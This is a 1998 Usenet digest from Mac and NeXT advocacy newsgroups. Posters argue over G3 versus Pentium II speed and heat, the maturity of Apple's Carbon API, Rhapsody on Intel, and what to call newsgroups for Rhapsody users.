--
---------------------------- ALLEN NEWMAN ----------------------------
Self-taught Mac masseur since 1984, Trek geek, theatre-school groupie,
mass comm. product, Superman fan & member of the Star Wars Generation.
----- MagicAl`s DARK FORCES Niche: http://swgamers.com/magical/ -----
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Sun, 31 May 1998 18:52:22 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3571A6E6.93F739D7@nstar.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kiqjf$q38$1@nargun.cc.uq.edu.au> <gmgraves-2805981020030001@sf-usr1-44-172.dialup.slip.net> <6kkitl$elu$1@nargun.cc.uq.edu.au> <joe.ragosta-2905980852240001@wil95.dol.net> <6kmn8i$ccl$1@bunyip.cc.uq.edu.au> <gmgraves-2905981042360001@sf-pm5-11-75.dialup.slip.net> <6kn19b$n3u$1@bunyip.cc.uq.edu.au> <gmgraves-3005981259430001@sf-usr1-3-131.dialup.slip.net> <6kqul1$hm0$1@bunyip.cc.uq.edu.au> <joe.ragosta-3105980901070001@elk52.dol.net> <6krloo$au9$1@bunyip.cc.uq.edu.au>
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NNTP-Posting-Date: 31 May 1998 18:57:17 GMT
Christopher Smith wrote:
> >> I never said it doesn't get hot, not once. But it doesn't get so hot
> that a
> >> simple heatsink and fan arrangement won't cool it. Oh btw, a pII/400
> >> dissipates about 28W.
> >
> >Which happens to be just about 4 times the heat of a G3/300.
>
> And pretty much irrelevant in a desktop system.
Anything but. Anybody who's involved in hardware knowns the design
changes necessitated by thermal issues. They affect issues of clocking,
motherboard layout, package design, power consumption, fault tolerance,
etc., etc.
Am I the only one who's had a power supply fan go bad and lose
significant data from the results? Most PPC machines can run for hours
on end without a working fan. Not to mention the issues involved in
portability.
I once worked in a server room whose air conditioning was broken. Most
of the Pentium servers experienced heat-related failures within 24
hours, despite our best efforts to ventilate the area. Our PPC-based
RS/6000 boxes never had a problem.
MJP
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: How mature is Carbon?
Date: 31 May 1998 18:52:59 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd8cc5$31a42990$04387880@test1>
On one side, Carbon was just barely announced and Apple has not set
in stone the APIs in Carbon.
On the other side, Carbon appeared mature enough to port a rich
application like Photoshop 5 (in two weeks!) and demonstrate it in
front of a live audience.
So, how mature is Carbon? Was that really Carbon (with Photoshop)
being demonstrated on Rhapsody at WWDC 98 or was there some smoke ane
mirrors?
Any clue as to when the first developers release of Carbon will be
shipped? That is, how soon can the top 100 MacOS developers move
from Carbon dating their applications to actually testing their
applications on Carbon?
Just curious,
Todd
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Sun, 31 May 1998 12:17:18 -0700
Organization: Graves Associates
Message-ID: <gmgraves-3105981217180001@sf-usr1-50-178.dialup.slip.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net> <tas-3005980328230001@209.86.154.89> <gmgraves-3005981301160001@sf-usr1-3-131.dialup.slip.net> <6kqunr$hhi$1@bunyip.cc.uq.edu.au>
In article <6kqunr$hhi$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
> George Graves wrote in message ...
> >In article <tas-3005980328230001@209.86.154.89>, tas@mindspring.noUCE.com
> >(Timothy A. Seufert) wrote:
> >
> >> In article <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net>,
> >> gmgraves@slip.net (George Graves) wrote:
> >>
> >> >> >The G3 uses a 512k BACKSIDE cache, which I believe is faster than a
> L2
> >> >> >pipelined burst cache.
> >> >
> >> >By quite a bit. It has its OWN memory bus connecting it to the
> processor.
> >> >>
> >> >> Both the pII and the G3 use the same type of cache.
> >> >
> >> >I don't think so. If they do, the PII's implementation is really lousy!
> >>
> >> Totally false. The PII has a backside cache bus. In the PII modules
> >> released so far, the configuration is always 512K of 2:1 cache. There is
> >> no reason to suspect that the implementation is "really lousy". Don't be
> >> a dumb advocate, you just end up hurting your cause by making yourself
> >> look stupid.
> >>
> >> The PII is a direct descendant of the Pentium Pro, which also had a
> >> dedicated cache bus. The PPro was actually supplied with faster cache --
> >> 256K or 512K of 1:1 cache -- but the expense of such high speed SRAM led
> >> Intel to switch to 2:1 for the PII (which is supposed to be a mass market
> >> CPU).
> >
> >OK, then you tell me why PIIs are so slow?
>
> They're not. The fastest pII chip is about the same speed as the fastest
> PowerPC chip.
Well, the tests I have run and seen run say otherwise. BUT, just
for the sake of argument, let us say that they are indeed about
equal. Now, since PIIs require another 100 MHz of clock to be
equal in speed to a G3, I again ask the question: Why are PIIs
so slow?
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Sun, 31 May 1998 12:20:01 -0700
Organization: Graves Associates
Message-ID: <gmgraves-3105981220010001@sf-usr1-50-178.dialup.slip.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net> <01bd8ac0$3f8b7560$0b0ba8c0@woohoo> <alex-2905981229470001@208.21.174.26> <01bd8b88$e3cb3340$0b0ba8c0@woohoo> <alex-3005981519560001@208.21.174.26> <01bd8c68$18b144c0$0b0ba8c0@woohoo>
In article <01bd8c68$18b144c0$0b0ba8c0@woohoo>, "Earl Malmrose"
<malmrose@nospam.jetcity.com> wrote:
> Alex Kac <alex@webis.net> wrote in article
> <alex-3005981519560001@208.21.174.26>...
> > In article <01bd8b88$e3cb3340$0b0ba8c0@woohoo>, "Earl Malmrose"
> > <malmrose@nospam.jetcity.com> wrote:
> >
> > : Alex Kac <alex@webis.net> wrote in article
> > : <alex-2905981229470001@208.21.174.26>...
> > : > I don't know why you bother...I got my G3/266 with 160MB of RAM, 4GB
> EIDE
> > : > HD, built in ZIP for $2000....though true, I already did have my 17'.
> And
> > : > that includes tax BTW.
> > :
> > : So where did you get it?
> >
> > I bought it at Cyberian Outpost for $1800 plus $30 shipping. That was for
> > a G3/266/Zip/4GB/32MB. I then bought 128MB of RAM for $205 total. I
> > already had a 17'' monitor and a 2 button mouse from my 9500, so I didn't
> > need that. That was a month ago. Maybe a little more than a month.
>
> Well, I passed on the Gateway. I drove down to the local built-it-yourself
> shop. I built my own Dual PII-333 loaded for $2400:
>
> Dual PII-333
> on-board ultra SCSI (not using it yet)
> 128MB ram
> 6.4 GB IDE hd
> 32x IDE CD
> Millenium II 4MB PCI video
> Monster Voodoo2 3D accelerator
> 10/100 PCI ethernet
> 17" monitor
> SB AWE64 sound card
> speakers, mouse, keyboard
>
> It was my first built-it-yourself system. It took me 2 hours to put it all
> together. I'm still loading all the software.
Fun wasn't it? I recently built a PC from parts as did you. I found it very
thereputic. One of the most relaxing and enjoyable Saturday afternoons
I've spent in ages. Too bad that actually running the thing isn't as much
fun. In fact, its a chore.
George Graves
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Mixing Carbon and OpenStep calls??
Date: Sun, 31 May 1998 14:14:17 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6ksa9p$ils1@odie.mcleod.net>
References: <01bd8cc3$c8ccfab0$04387880@test1>
Todd Heberlein wrote in message <01bd8cc3$c8ccfab0$04387880@test1>...
>I seem to recall hearing/reading that applications can use both
>Carbon and OpenStep APIs.
>
>Questions:
>o Is this correct? (if not, ignore the rest)
>
Propably YES
>o Since an application can use both "carbon" and "yellow" system
>calls, should the "box" architecture description go away?
>
Apple has already stated that the "box" description is obsolete. Apple is
not about boxes.
>o Can this be used as a bridge to get MacOS developers to use
>OpenStep? (That is, new additions or enhancements to existing
>Carbonized applications could be done in OpenStep; thus allowing
>MacOS developers to leverage the power of OpenStep while preserving
>their existing work.)
>
Probably not. Mixing these APIs will result in a worst of both rather than
a best of both situation in most cases. The sum will definitly be less than
the parts. Which event loop will be used ? How will events and actions be
translated/converted and when ? These are the least of the problems. This
is a path to disaster with one exception.
IF the logic/model of your existing application is seperate from the
interface, there is no problem reusing the model within a YellowBox
environment. Many of the most successful commercial Openstep applications
have a core that was written in C or C++. All those years of tweeking and
patching your ToolBox based GUI must be abandoned to use YellowBox
effectively. The good news is that you can scrap 2/3 of your support burdon
and bick up a better GUI for a small fraction of the effort and code
required to build the old one.
>
>Todd
>
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Sun, 31 May 1998 12:12:31 -0700
Organization: Graves Associates
Message-ID: <gmgraves-3105981212310001@sf-usr1-50-178.dialup.slip.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <356ce269.0@206.25.228.5> <gmgraves-2805981058140001@sf-usr1-44-172.dialup.slip.net> <6kkfk9$e60@nntp02.primenet.com> <gmgraves-2805981618270001@sf-usr1-22-150.dialup.slip.net> <6kn63p$ta@nntp02.primenet.com> <gmgraves-3005981412310001@sf-usr1-18-146.dialup.slip.net> <3570AA4E.91314439@epix.net>
In article <3570AA4E.91314439@epix.net>, cmgd@epix.net wrote:
> George Graves wrote:
> >
> > In article <6kn63p$ta@nntp02.primenet.com>, John Jensen
> > <jjens@primenet.com> wrote:
> >
> > > The bottom line is that Apple people will buy Apple computers because they
> > > want to run Apple operating systems. Other people will buy Intel, or AMD,
> > > or Cyrix, or WinChip systems to run Microsoft, or Sun, or SCO, or Linux,
> > > or QNX, or Be, or any number of other operating systems. The hardware
> > > prices are close enough to be moot.
> >
> > Actually that's my point. Wintel advocates have several
> > 'pat' excuses why people shouldn't buy Mac. Most of them
> > are either terribly out of date, urban myths, or simply
> > misinformation. One of these is the incredible delta between
> > PC and Mac pricing. It WAS most assuredly true, once, its not
> > true anymore, the difference is trivial.
> >
> > It is _all_ a question of what OS (or
> > > OSes) you want to run.
> >
> > If you have the knowledge and understanding to make
> > such a choice, yes, that is true. Most don't. They buy
> > PCs because most people buy PCs. Taken as a group,
> > the people who buy computers at either the personal
> > or the corporate level are neither very sophisticated
> > nor very informed about the choices they make.
> >
> > George Graves
>
> Unless they buy a Mac?
Stop putting words in my pen! I said "computers", I didn't
say "PCs" or "Macs". Truth is that I know one firm that's
all Mac because that's what the woman who owns the firm
knows how to use. Again, not an intelligent way to make a
choice. The fact that she made the RIGHT choice for her
business (Public Relations. She has to interface with
publishers and ad agencies, almost all of which are Mac.)
was, in this case, totally accidental. She could just as
easily have gone the other way, for the same reason, and
then it would have been the wrong choice.
George Graves
>
From: bob@columbia.uark.edu (Robert D. Bumpus)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Newsgroups please!!!!
Date: 31 May 1998 19:43:16 GMT
Organization: The University of Arkansas
Message-ID: <6ksbsk$4v7@picayune.uark.edu>
References: <01bd8cc2$94d0d520$04387880@test1>
"Todd Heberlein" <todd@NetSQ.com> writes
> Chris Van Buskirk <cvbuskirk@home.com> wrote
> > I think somehow we should get some newsgroups that unify
> > rhapsody folks.
> >
> > comp.sys.apple.rhapsody.help
> > comp.sys.apple.rhaposdy.advocacy
> [munch]
>
<snip>
> I agree that the *.next.* groups should be retired. I just don't
> know what the proper replacement should be.
>
> Todd
I think retiring the NeXT newsgroups would be a bad thing. The hardware
and software are still used and useful (as I type this on a Turbo Station
w/OS4.1), so the users need a place to interact and exchange information.
However, a set of groups specifically for Rhapsody would probably be a
good thing.
Bob
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Sun, 31 May 1998 12:42:28 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d9w7ao.1pfjrauhneuiwN@cetus164.wco.com>
References: <6k6e1i$sr4$9@ironhorse.plsys.co.uk> <rex-2305981101130001@192.168.0.3> <3566E50C.257D56A2@trilithon.com> <rex-2405980239210001@192.168.0.3> <6k9qea$d5n$1@ironhorse.plsys.co.uk> <rex-2505980225090001@192.168.0.3> <6kca7d$d5n$7@ironhorse.plsys.co.uk> <B18F17D4-38174@206.165.43.100> <6ke4v6$d5n$9@ironhorse.plsys.co.uk> <B1901713-22772@206.165.43.147> <6kejq7$6na$1@bartlet.df.lth.se> <B1906698-5F2F7@206.165.43.154> <1d9pjdq.1drqzt8l2l0zwN@carina43.wco.com> <B1924891-1589E@206.165.43.70> <6kj771$3v3$1@ironhorse.plsys.co.uk> <B1927A7F-2C857@206.165.43.156> <6kjhrh$2fh$1@bartlet.df.lth.se> <B192E0B6-44EE7@206.165.43.40> <jak-2805981110120001@fdialup162.phnx.uswest.net> <B19310E3-26E8D@206.165.43.179> <jak-2905981049520001@adialup109.phnx.uswest.net> <B1947598-35F2A@206.165.43.148> <6knucq$46c$1@news.digifix.com> <B194D4EA-19C505@206.165.43.148> <6kqm3r$3k2$1@news.digifix.com> <B196579A-45E28@206.165.43.17> <B196BB0A-33821@206.165.43.133>
Lawson English <english@primenet.com> wrote:
> applying an arbitrary path as a pattern for an arbitrary path. E.G., GX
> allows one to use some simple pattern, either bitmap or vector graphic, as
> the fill for a vector graphic (there is simple sample code to do this that
> is downloadable from Apple's website, in case anyone is interested). DPS
> allows this too.
>
> Does the Carbon API allow it?
The extended QuickDraw APIs allow this (to me more specific).
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Sun, 31 May 1998 12:42:32 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d9w7hy.g52x5itps8sgN@cetus164.wco.com>
References: <rex-2305981101130001@192.168.0.3> <3566E50C.257D56A2@trilithon.com> <rex-2405980239210001@192.168.0.3> <6k9qea$d5n$1@ironhorse.plsys.co.uk> <rex-2505980225090001@192.168.0.3> <6kca7d$d5n$7@ironhorse.plsys.co.uk> <B18F17D4-38174@206.165.43.100> <6ke4v6$d5n$9@ironhorse.plsys.co.uk> <B1901713-22772@206.165.43.147> <6kejq7$6na$1@bartlet.df.lth.se> <B1906698-5F2F7@206.165.43.154> <1d9pjdq.1drqzt8l2l0zwN@carina43.wco.com> <B1924891-1589E@206.165.43.70> <6kj771$3v3$1@ironhorse.plsys.co.uk> <B1927A7F-2C857@206.165.43.156> <6kjhrh$2fh$1@bartlet.df.lth.se> <B192E0B6-44EE7@206.165.43.40> <jak-2805981110120001@fdialup162.phnx.uswest.net> <B19310E3-26E8D@206.165.43.179> <jak-2905981049520001@adialup109.phnx.uswest.net> <B1947598-35F2A@206.165.43.148> <6knucq$46c$1@news.digifix.com> <B195AF8F-215CF@206.165.43.152> <6kqmcc$3k6$1@news.digifix.com> <B1965026-29DBC@206.165.43.17> <B196AF2E-6ECC@206.165.43.133> <B196C2E5-5109F@206.165.43.133>
Lawson English <english@primenet.com> wrote:
> A light dawns. The reason why NeXT, er, Apple, and all NeXT, er, MacOS X,
> developers don't like editable 3D perspective text is...
>
> POSTSCRIPT DOESN'T HANDLE IT.
[munch]
> In other words, Apple has deliberately crippled the built-in graphics
> capabilities of the Mac to be no better than what Adobe allows.
Oooh! He's found the secret graphics conspiracy! NOT.
I like the idea of direct manipulation of 3D text and graphics. When I
do this, I want to be able to change the camera position. I want to
change the light source positions, numbers, and properties. I want to
change surface properties, and assign textures and shaders to surfaces.
Heck, I'd even be happy if a simple stroked line honored the perspective
I waas trying to set up, and actually 'narrowed' as it got farther from
the camera position.
--
Mike Paquette mpaque@wco.com
I'm not an officer, spokesperson, or high muckety-muck of Apple
Computer. I don't speak for Apple, and they don't speak for me.
From: Ari <ari@loa.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: How mature is Carbon?
Date: Sun, 31 May 1998 16:01:31 -0400
Organization: Log On America, Inc.
Message-ID: <3571B71B.64D6AC86@loa.com>
References: <01bd8cc5$31a42990$04387880@test1>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Its very mature. Its basically the old MacOS API w/the individual parts
that restrict PMT hacked/removed/replaced.
ari
ari@loa.com
Todd Heberlein wrote:
> On one side, Carbon was just barely announced and Apple has not set
> in stone the APIs in Carbon.
>
> On the other side, Carbon appeared mature enough to port a rich
> application like Photoshop 5 (in two weeks!) and demonstrate it in
> front of a live audience.
>
> So, how mature is Carbon? Was that really Carbon (with Photoshop)
> being demonstrated on Rhapsody at WWDC 98 or was there some smoke ane
> mirrors?
>
> Any clue as to when the first developers release of Carbon will be
> shipped? That is, how soon can the top 100 MacOS developers move
> from Carbon dating their applications to actually testing their
> applications on Carbon?
>
> Just curious,
>
> Todd
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Mon, 1 Jun 1998 06:20:46 +1000
Organization: University of Queensland
Message-ID: <6ksdpv$5jk$1@bunyip.cc.uq.edu.au>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net> <tas-3005980328230001@209.86.154.89> <gmgraves-3005981301160001@sf-usr1-3-131.dialup.slip.net> <6kqunr$hhi$1@bunyip.cc.uq.edu.au> <gmgraves-3105981217180001@sf-usr1-50-178.dialup.slip.net>
>In article <6kqunr$hhi$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
><drsmithy@usa.net> wrote:
>
>> George Graves wrote in message ...
>> >In article <tas-3005980328230001@209.86.154.89>,
tas@mindspring.noUCE.com
>> >(Timothy A. Seufert) wrote:
>> >
>> >> In article <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net>,
>> >> gmgraves@slip.net (George Graves) wrote:
>> >>
>> >> The PII is a direct descendant of the Pentium Pro, which also had a
>> >> dedicated cache bus. The PPro was actually supplied with faster
cache --
>> >> 256K or 512K of 1:1 cache -- but the expense of such high speed SRAM
led
>> >> Intel to switch to 2:1 for the PII (which is supposed to be a mass
market
>> >> CPU).
>> >
>> >OK, then you tell me why PIIs are so slow?
>>
>> They're not. The fastest pII chip is about the same speed as the fastest
>> PowerPC chip.
>
>Well, the tests I have run and seen run say otherwise. BUT, just
>for the sake of argument, let us say that they are indeed about
>equal. Now, since PIIs require another 100 MHz of clock to be
>equal in speed to a G3, I again ask the question: Why are PIIs
>so slow?
George, why *must* you pretend to be so ignorant ? As you well know
comparing Mhz across architectures is like comparing MIPS - useless. It's
like saying a V8 must be slower than a 4 cylinder engine because the 8 can
rev to "only" 5000rpm and the 4 can rev to 8000rpm.
>
>George Graves
From: t@l.e (Raven Zachary)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Newsgroups please!!!!
Date: Sun, 31 May 1998 21:18:58 +0200
Organization: http://extra.newsguy.com
Message-ID: <t-3105982118580001@port18.rferl.org>
References: <yefc1.906$ON2.7050352@news.rdc1.nj.home.com> <01bd8cc2$94d0d520$04387880@test1>
NeXT and OpenStep users will continue to exist long after the release of
Rhapsody and MacOS X. The same holds true for Rhapsody users after MacOS X
is released.
What we need are Rhapsody groups for the Rhapsody community. The NeXT
groups will live on.
As far as MacOS X is concerned, I'm not sure.
In article <01bd8cc2$94d0d520$04387880@test1>, "Todd Heberlein"
<todd@NetSQ.com> wrote:
> Chris Van Buskirk <cvbuskirk@home.com> wrote
> > I think somehow we should get some newsgroups that unify
> > rhapsody folks.
> >
> > comp.sys.apple.rhapsody.help
> > comp.sys.apple.rhaposdy.advocacy
> [munch]
>
> But the "Rhapsody" name is going away soon. Main release this fall,
> then to be subsumed by MacOS X. How about comp.sys.macx.* to
> differentiate it from comp.sys.mac.*? But what happens when MacOS 11
> is released?
>
> I agree that the *.next.* groups should be retired. I just don't
> know what the proper replacement should be.
>
> Todd
--
I'f you need to email me, you can find my address using a web search.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 31 May 1998 20:41:00 GMT
Organization: University of California at San Diego
Message-ID: <slrn6n3g2r.ac1.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <rmcassid-2905981526310001@dante.eng.uci.edu> <slrn6n17mu.lsb.sal@panix3.panix.com>
On 31 May 1998 00:05:50 GMT, Salvatore Denaro <sal@panix3.panix.com> wrote:
:On Fri, 29 May 1998 15:26:31 -0700, Robert Cassidy <rmcassid@uci.edu> wrote:
:>In article <6kn7t6$npv$7@newsfep4.sprintmail.com>, macghod@concentric.net wrote:
:>>BFD!! What does apple make on a g3, $500? Make rhapsody for intel $500 more
:>>than the ppc version. THen, if someone forgoes a g3, BFD.
:>And at $750 the potential market for Rhapsody/Intel drops from 1 million
:>seats to 100,000 and Apple *still* doesn't make enough to recoup the
:>development and support costs.
:
:Huh? NeXT was a tiny company, and they could write drivers for Intel.
:So could SCO for it's UnixWare and OpenServer UNIXs. And SUN has managed
:to support a nice sized chunk of the x86 market.
Not really. Sun is doing x86 as a loss-leader. SCO, they have a locked
in installed base and resellers and consultants who push them along.
NeXT did a heroic job given what they had, but still, much to many people's
surprise, OpenStep/Intel didn't make much of a difference.
Given NeXT was what it was, the driver support was quite good. Given the
standards of the real wild-and-wooly consumer PC market (as opposed to the
Unix geek market) it wasn't.
Driver support in Wintel land means: "I want to install it on *MY* *PC*!!!"
It doesn't matter what sort of crufty crappy hardware---or, newfangled,
fresh from the fab version of the XPBY 200 VoodooDingeloo chip they have.
If it doesn't work right, first time through, the masses will scream "MACOS
SUXXXXX!"
Linux gets away with it because the counterpoint is, 'Well it's free. Don't
be ungrateful.'
Rhapsody/Intel couldn't get away with it @ $150.
:Someone at Apple should walk up to Steve and yell the following into his
:face:
:
:"Steve!!!!! People want Rhapsody on the PC!!!! They are asking for it!!!!
:They think that it will SELL RHAPSODY to PC users who might then want to
:BUY MAC HARDWARE!!! DON'T KILL IT!!!!"
:
:Then calmly explain to him that people unwilling to jump from WinTel to
:Rhapsody on Macs might do so in small steps: (This is assuming that they
:find enough value in YB to write all thier custom apps in it.)
I agree there is a good market.
:sal@panix.com Salvatore Denaro
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Merced delay affect Apple?
Date: 31 May 1998 20:44:11 GMT
Organization: University of California at San Diego
Message-ID: <slrn6n3g8q.ac1.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <01bd8cc6$1f359360$04387880@test1>
On 31 May 1998 18:59:37 GMT, Todd Heberlein <todd@NetSQ.com> wrote:
:The other day Intel announced that Merced would be delayed, perhaps
:up to a year. The question is, how does this affect Apple?
:
:One point - The delay of Intel's next generation high-end
:(high-priced) CPU will expand Apple's opportunity to stay ahead on
:the power curve.
:
:Another point - Apple may have been planning to forgo a release of
:MacOS X on the x86 architecture in favor of the Merced (IA-64)
:architecture. Will this encourage Apple to consider supporting the
:x86 architecture beyond Rhapsody 1.0?
Third point -- What if Intel decides to make a RISC-only version
of Merced? Apparently that part is not what's giving them difficulties,
It's the backward x86 backward compatibility.
More important than the CPU though is the potential that a new CPU
architecture will also come with a new motherboard, and perpherial
architecture: a permanent and final end to x86 "driver hell".
:Todd
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer,comp.sys.mac.advocacy,comp.sys.mac.programmer
Subject: Re: How mature is Carbon?
Message-ID: <forrestDELETE-THIS!-3105981358070001@term1-10.vta.west.net>
References: <01bd8cc5$31a42990$04387880@test1>
Date: Sun, 31 May 1998 20:55:05 GMT
NNTP-Posting-Date: Sun, 31 May 1998 13:55:05 PDT
(cross-posted to c.s.m.advocacy and c.s.m.programmer)
In article <01bd8cc5$31a42990$04387880@test1>, "Todd Heberlein"
<todd@NetSQ.com> wrote:
> On one side, Carbon was just barely announced and Apple has not set
> in stone the APIs in Carbon.
>
> On the other side, Carbon appeared mature enough to port a rich
> application like Photoshop 5 (in two weeks!) and demonstrate it in
> front of a live audience.
Carbon is merely a subset of the Mac Toolbox, around 6000 calls (2000 less
than the current Toolbox). While it's true that Apple has not set in stone
exactly which of the Toolbox calls will be in Carbon, they have a general
idea, and so Adobe could simply tune Photoshop not to use the calls that
are certainly not going to be in Carbon, or to only use that calls that
are certainly gonna be in Carbon, and viola - Carbon app. I'm not sure
which OS it was running on (I wasn't at WWDC), but I'd bet it was on the
current MacOS 8.1 (or possibly an 8.5 beta). That would not preclude it
from being a Carbon app, because Carbon apps run unmodified on the current
MacOS, just without all the modern buzzwords. Chances are that some apps
are already 100% Carbon-ready, although those chances are rather slim
(MacOS Rumors has some Carbon-dating specs on a few major apps). However,
I've heard that it was running on Rhapsody, which could either be in the
Blue Box or they might have already got a true Carbon "box" running (I
know, old nomenclature, but I can't think of any other way of stating it).
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
Date: Sun, 31 May 1998 16:45:59 -0400
From: casper@nb.net (Tim Scoff)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Message-ID: <casper-3105981646000001@wheat-a-14.monroeville.nb.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kiqjf$q38$1@nargun.cc.uq.edu.au> <gmgraves-2805981020030001@sf-usr1-44-172.dialup.slip.net> <6kkitl$elu$1@nargun.cc.uq.edu.au> <joe.ragosta-2905980852240001@wil95.dol.net> <6kmn8i$ccl$1@bunyip.cc.uq.edu.au> <gmgraves-2905981042360001@sf-pm5-11-75.dialup.slip.net> <6kn19b$n3u$1@bunyip.cc.uq.edu.au> <gmgraves-3005981259430001@sf-usr1-3-131.dialup.slip.net> <6kqul1$hm0$1@bunyip.cc.uq.edu.au> <joe.ragosta-3105980901070001@elk52.dol.net> <6krloo$au9$1@bunyip.cc.uq.edu.au>
In article <6krloo$au9$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
>Joe Ragosta wrote in message ...
>>In article <6kqul1$hm0$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
>><drsmithy@usa.net> wrote:
>>
>>>
>>> I never said it doesn't get hot, not once. But it doesn't get so hot
>that a
>>> simple heatsink and fan arrangement won't cool it. Oh btw, a pII/400
>>> dissipates about 28W.
>>
>>Which happens to be just about 4 times the heat of a G3/300.
>
>And pretty much irrelevant in a desktop system.
And no laptop users need fast computers that don't take much power to
run and don't put out much heat anyway, right?
--
Tim Scoff
casper@nb.net
http://www.nb.net/~casper/
Imagine that CRAY decides to make a personal computer. It contains 16 Alpha based processors executing in parallel, has 800 megabytes of RAM, 100 Gigabytes of disk storage, a resolution of 4096 x 4096 pixels, does 24bit 3D graphics in realtime, relies entirely on voice recognition for input, fits in your shirt pocket and costs $300. What is the first question the computer community asks?
"Is it DOS compatible?"
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Mon, 1 Jun 1998 06:56:15 +1000
Organization: University of Queensland
Message-ID: <6ksfsg$83o$1@bunyip.cc.uq.edu.au>
